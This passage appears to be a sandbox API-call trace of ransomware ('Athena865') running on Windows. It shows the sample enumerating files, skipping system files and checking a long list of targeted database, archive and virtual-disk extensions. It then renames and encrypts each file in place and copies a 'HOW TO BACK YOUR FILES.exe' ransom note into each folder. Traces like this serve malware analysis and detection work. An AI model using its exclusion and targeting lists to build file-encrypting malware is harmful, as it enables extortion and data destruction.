[0092.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.688] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.688] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.688] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.689] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44d0, lpName=0x0) returned 0x17c [0092.691] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44d0) returned 0x100000 [0092.701] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.702] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.702] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0092.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.702] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.703] CloseHandle (hObject=0x17c) returned 1 [0092.703] CloseHandle (hObject=0x154) returned 1 [0092.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.703] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Viktig.htm", cAlternateFileName="")) returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2=".") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="..") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="windows") returned -1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="bootmgr") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="temp") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="pagefile.sys") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="boot") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="ids.txt") returned 1 [0092.703] lstrcmpiW (lpString1="Viktig.htm", lpString2="ntuser.dat") returned 1 [0092.704] lstrcmpiW (lpString1="Viktig.htm", lpString2="perflogs") returned 1 [0092.704] lstrcmpiW (lpString1="Viktig.htm", lpString2="MSBuild") returned 1 [0092.704] lstrlenW (lpString="Viktig.htm") returned 10 [0092.704] lstrcpyW (in: lpString1=0x241e89a, lpString2="Viktig.htm" | out: lpString1="Viktig.htm") returned="Viktig.htm" [0092.704] lstrlenW (lpString="Viktig.htm") returned 10 [0092.704] lstrlenW (lpString="Athena865") returned 9 [0092.704] lstrcmpiW (lpString1="iktig.htm", lpString2="Athena865") returned 1 [0092.704] lstrlenW (lpString=".dll") returned 4 [0092.704] lstrcmpiW (lpString1="Viktig.htm", lpString2=".dll") returned 1 [0092.704] lstrlenW (lpString=".lnk") returned 4 [0092.704] lstrcmpiW (lpString1="Viktig.htm", lpString2=".lnk") returned 1 [0092.704] lstrlenW (lpString=".ini") returned 4 [0092.704] lstrcmpiW (lpString1="Viktig.htm", lpString2=".ini") returned 1 [0092.704] lstrlenW (lpString=".sys") returned 4 [0092.704] lstrcmpiW (lpString1="Viktig.htm", lpString2=".sys") returned 1 [0092.704] lstrlenW (lpString="Viktig.htm") returned 10 [0092.704] lstrlenW (lpString="bak") returned 3 [0092.704] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.704] lstrlenW (lpString="ba_") returned 3 [0092.704] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.704] lstrlenW (lpString="dbb") returned 3 [0092.704] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.704] lstrlenW (lpString="vmdk") returned 4 [0092.704] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.704] lstrlenW (lpString="rar") returned 3 [0092.704] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.704] lstrlenW (lpString="zip") returned 3 [0092.704] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.704] lstrlenW (lpString="tgz") returned 3 [0092.704] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.705] lstrlenW (lpString="vbox") returned 4 [0092.705] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.705] lstrlenW (lpString="vdi") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.705] lstrlenW (lpString="vhd") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.705] lstrlenW (lpString="vhdx") returned 4 [0092.705] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.705] lstrlenW (lpString="avhd") returned 4 [0092.705] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.705] lstrlenW (lpString="db") returned 2 [0092.705] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.705] lstrlenW (lpString="db2") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.705] lstrlenW (lpString="db3") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.705] lstrlenW (lpString="dbf") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.705] lstrlenW (lpString="mdf") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.705] lstrlenW (lpString="mdb") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.705] lstrlenW (lpString="sql") returned 3 [0092.705] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.705] lstrlenW (lpString="sqlite") returned 6 [0092.705] lstrcmpiW (lpString1="ig.htm", lpString2="sqlite") returned -1 [0092.705] lstrlenW (lpString="sqlite3") returned 7 [0092.705] lstrcmpiW (lpString1="tig.htm", lpString2="sqlite3") returned 1 [0092.705] lstrlenW (lpString="sqlitedb") returned 8 [0092.705] lstrcmpiW (lpString1="ktig.htm", lpString2="sqlitedb") returned -1 [0092.706] lstrlenW (lpString="xml") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.706] lstrlenW (lpString="$er") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.706] lstrlenW (lpString="4dd") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.706] lstrlenW (lpString="4dl") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.706] lstrlenW (lpString="^^^") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.706] lstrlenW (lpString="abs") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.706] lstrlenW (lpString="abx") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.706] lstrlenW (lpString="accdb") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accdb") returned 1 [0092.706] lstrlenW (lpString="accdc") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accdc") returned 1 [0092.706] lstrlenW (lpString="accde") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accde") returned 1 [0092.706] lstrlenW (lpString="accdr") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accdr") returned 1 [0092.706] lstrlenW (lpString="accdt") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accdt") returned 1 [0092.706] lstrlenW (lpString="accdw") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accdw") returned 1 [0092.706] lstrlenW (lpString="accft") returned 5 [0092.706] lstrcmpiW (lpString1="g.htm", lpString2="accft") returned 1 [0092.706] lstrlenW (lpString="adb") returned 3 [0092.706] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.707] lstrlenW (lpString="adb") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.707] lstrlenW (lpString="ade") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.707] lstrlenW (lpString="adf") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.707] lstrlenW (lpString="adn") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.707] lstrlenW (lpString="adp") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.707] lstrlenW (lpString="alf") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.707] lstrlenW (lpString="ask") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.707] lstrlenW (lpString="btr") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.707] lstrlenW (lpString="cat") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.707] lstrlenW (lpString="cdb") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.707] lstrlenW (lpString="ckp") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.707] lstrlenW (lpString="cma") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.707] lstrlenW (lpString="cpd") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.707] lstrlenW (lpString="dacpac") returned 6 [0092.707] lstrcmpiW (lpString1="ig.htm", lpString2="dacpac") returned 1 [0092.707] lstrlenW (lpString="dad") returned 3 [0092.707] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.708] lstrlenW (lpString="dadiagrams") returned 10 [0092.708] lstrlenW (lpString="daschema") returned 8 [0092.708] lstrcmpiW (lpString1="ktig.htm", lpString2="daschema") returned 1 [0092.708] lstrlenW (lpString="db-journal") returned 10 [0092.708] lstrlenW (lpString="db-shm") returned 6 [0092.708] lstrcmpiW (lpString1="ig.htm", lpString2="db-shm") returned 1 [0092.708] lstrlenW (lpString="db-wal") returned 6 [0092.708] lstrcmpiW (lpString1="ig.htm", lpString2="db-wal") returned 1 [0092.708] lstrlenW (lpString="dbc") returned 3 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.708] lstrlenW (lpString="dbs") returned 3 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.708] lstrlenW (lpString="dbt") returned 3 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.708] lstrlenW (lpString="dbv") returned 3 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.708] lstrlenW (lpString="dbx") returned 3 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.708] lstrlenW (lpString="dcb") returned 3 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.708] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.708] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.709] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.Athena865") returned 61 [0092.709] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm.athena865"), dwFlags=0x1) returned 1 [0092.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.710] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16818) returned 1 [0092.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.710] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.711] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.711] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.711] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44c0, lpName=0x0) returned 0x17c [0092.713] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44c0) returned 0x100000 [0092.721] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.722] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.722] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0092.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0092.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.723] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.723] CloseHandle (hObject=0x17c) returned 1 [0092.723] CloseHandle (hObject=0x154) returned 1 [0092.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.724] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="windows") returned -1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="bootmgr") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="temp") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="pagefile.sys") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="boot") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="ids.txt") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="ntuser.dat") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="perflogs") returned 1 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2="MSBuild") returned 1 [0092.724] lstrlenW (lpString="Viktigt.htm") returned 11 [0092.724] lstrcpyW (in: lpString1=0x241e89a, lpString2="Viktigt.htm" | out: lpString1="Viktigt.htm") returned="Viktigt.htm" [0092.724] lstrlenW (lpString="Viktigt.htm") returned 11 [0092.724] lstrlenW (lpString="Athena865") returned 9 [0092.724] lstrcmpiW (lpString1="ktigt.htm", lpString2="Athena865") returned 1 [0092.724] lstrlenW (lpString=".dll") returned 4 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".lnk") returned 4 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2=".lnk") returned 1 [0092.724] lstrlenW (lpString=".ini") returned 4 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2=".ini") returned 1 [0092.724] lstrlenW (lpString=".sys") returned 4 [0092.724] lstrcmpiW (lpString1="Viktigt.htm", lpString2=".sys") returned 1 [0092.724] lstrlenW (lpString="Viktigt.htm") returned 11 [0092.725] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.Athena865") returned 62 [0092.725] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm.athena865"), dwFlags=0x1) returned 1 [0092.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.726] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16916) returned 1 [0092.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.726] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.727] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.727] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.727] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4520, lpName=0x0) returned 0x17c [0092.728] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4520) returned 0x100000 [0092.736] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.737] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.737] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0092.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0092.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.738] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.738] CloseHandle (hObject=0x17c) returned 1 [0092.738] CloseHandle (hObject=0x154) returned 1 [0092.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.739] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 0 [0092.739] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.739] ReleaseMutex (hMutex=0xec) returned 1 [0092.739] CloseHandle (hObject=0xec) returned 1 [0092.739] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0092.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529370 | out: hHeap=0x4f0000) returned 1 [0092.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c488 | out: hHeap=0x4f0000) returned 1 [0092.739] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe") returned 41 [0092.739] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EB12703452B518536D25D07F4B7928E6") returned 0xec [0092.739] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.739] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0092.739] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.739] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.740] GetLastError () returned 0x0 [0092.740] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.740] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.741] CloseHandle (hObject=0xf4) returned 1 [0092.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.741] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.741] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc0ba9280, 